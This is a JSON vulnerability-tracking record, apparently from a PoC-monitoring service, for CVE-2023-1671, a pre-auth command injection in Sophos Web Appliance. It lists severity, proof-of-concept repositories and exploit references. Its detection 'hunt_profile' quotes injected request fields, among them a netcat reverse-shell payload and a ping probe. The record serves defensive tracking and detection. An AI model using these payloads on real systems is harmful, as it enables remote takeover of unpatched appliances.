{
  "id": "CVE-2023-1671",
  "url": "https://poc.griffinguard.io/cve/CVE-2023-1671",
  "published_at": "2023-04-04T00:00:00Z",
  "title": "Sophos Web Appliance Command Injection Vulnerability",
  "vendor": "Sophos",
  "product": "Sophos Web Appliance",
  "cvss": {
    "score": 9.8,
    "source": "cna",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  },
  "kev": {
    "in_kev": true,
    "added_at": "2023-11-16",
    "known_ransomware_campaign_use": "Unknown",
    "days_after_publication": 226
  },
  "first_poc": {
    "created_at": "2023-04-23T02:58:17Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": 19.1,
    "repo": "ohnonoyesyes/CVE-2023-1671",
    "source": "github"
  },
  "poc_repo_count": 5,
  "exploit_count": 2,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.",
  "cwe": "CWE-77",
  "cvss_by_source": {
    "cna": 9.8
  },
  "repos": [
    {
      "repo": "c4ln/CVE-2023-1671-POC",
      "url": "https://github.com/c4ln/CVE-2023-1671-POC",
      "created_at": null,
      "first_seen_at": "2026-11-14T22:15:13.872Z",
      "stars": 0,
      "is_poc": "unknown",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "skipped"
    },
    {
      "repo": "ohnonoyesyes/CVE-2023-1671",
      "url": "https://github.com/ohnonoyesyes/CVE-2023-1671",
      "created_at": "2023-04-23T02:58:17Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 3,
      "is_poc": "yes",
      "kind": "listed by PoC Index",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2021-10-31T01:35:46Z"
    },
    {
      "repo": "W01fh4cker/CVE-2023-1671-POC",
      "url": "https://github.com/W01fh4cker/CVE-2023-1671-POC",
      "created_at": "2023-04-24T15:53:42Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 15,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2022-03-18T11:45:48Z"
    },
    {
      "repo": "behnamvanda/CVE-2023-1671",
      "url": "https://github.com/behnamvanda/CVE-2023-1671",
      "created_at": "2023-04-25T15:19:41Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2013-07-20T08:55:20Z"
    },
    {
      "repo": "csffs/cve-2023-1671",
      "url": "https://github.com/csffs/cve-2023-1671",
      "created_at": "2023-05-17T11:20:27Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2022-07-05T22:19:10Z"
    },
    {
      "repo": "0xdolan/cve_poc",
      "url": "https://github.com/0xdolan/cve_poc",
      "created_at": "2023-08-01T20:34:58Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "listed by PoC Index",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2016-04-17T22:52:26Z"
    },
    {
      "repo": "getdrive/PoC",
      "url": "https://github.com/getdrive/PoC",
      "created_at": "2023-08-05T11:02:23Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 74,
      "is_poc": "fake",
      "kind": "fake",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2016-07-28T07:06:50Z"
    }
  ],
  "remediation": null,
  "exploit_refs": [
    {
      "url": "https://www.exploit-db.com/exploits/51396",
      "source": "exploitdb",
      "title": "Sophos Web Appliance 4.3.10.4 - Pre-auth command injection",
      "published_at": "2023-04-25T00:00:00Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    },
    {
      "url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1671.yaml",
      "source": "nuclei",
      "title": "nuclei template: Sophos Web Appliance - Remote Code Execution",
      "published_at": "2023-04-27T17:15:45Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    }
  ],
  "hunt_profile": [
    {
      "method": "POST",
      "path_template": "/index.php",
      "query_markers": [
        "c=blocked",
        "action=continue"
      ],
      "body_markers": [
        "args_reason=filetypewarn",
        "url={var}",
        "filetype={var}",
        "user={var}",
        "user_encoded=$(echo -n ;ping $sub -c 3 #\"",
        "user_encoded=$(echo -n ;nc -e /bin/sh 192.168.56.1 4444 #\""
      ],
      "content_type": "application/x-www-form-urlencoded",
      "protocol": "https",
      "repos": [
        "behnamvanda/CVE-2023-1671",
        "ohnonoyesyes/CVE-2023-1671"
      ],
      "repo_count": 2,
      "confidence": 0.7,
      "evidence": [
        "behnamvanda/CVE-2023-1671/CVE-2023-1671.sh:42",
        "ohnonoyesyes/CVE-2023-1671/README.md:7"
      ]
    },
    {
      "method": "GET",
      "path_template": "/{var}/{var}.json",
      "protocol": "https",
      "repos": [
        "0xdolan/cve_poc"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "0xdolan/cve_poc/cve_poc.py:53"
      ]
    },
    {
      "method": "GET",
      "path_template": "/{var}/{var}.md",
      "protocol": "https",
      "repos": [
        "0xdolan/cve_poc"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "0xdolan/cve_poc/cve_poc.py:54"
      ]
    },
    {
      "method": "POST",
      "path_template": "//https://{var}/index.php",
      "query_markers": [
        "c=blocked",
        "action=continue/index.php?c=blocked",
        "action=continue"
      ],
      "body_markers": [
        "args_reason=filetypewarn",
        "url=",
        "filetype=",
        "user=",
        "user_encoded="
      ],
      "protocol": "https",
      "repos": [
        "csffs/cve-2023-1671"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "csffs/cve-2023-1671/cve-2023-1671.py:78",
        "csffs/cve-2023-1671/cve-2023-1671.py:113"
      ]
    }
  ],
  "rules": []
}
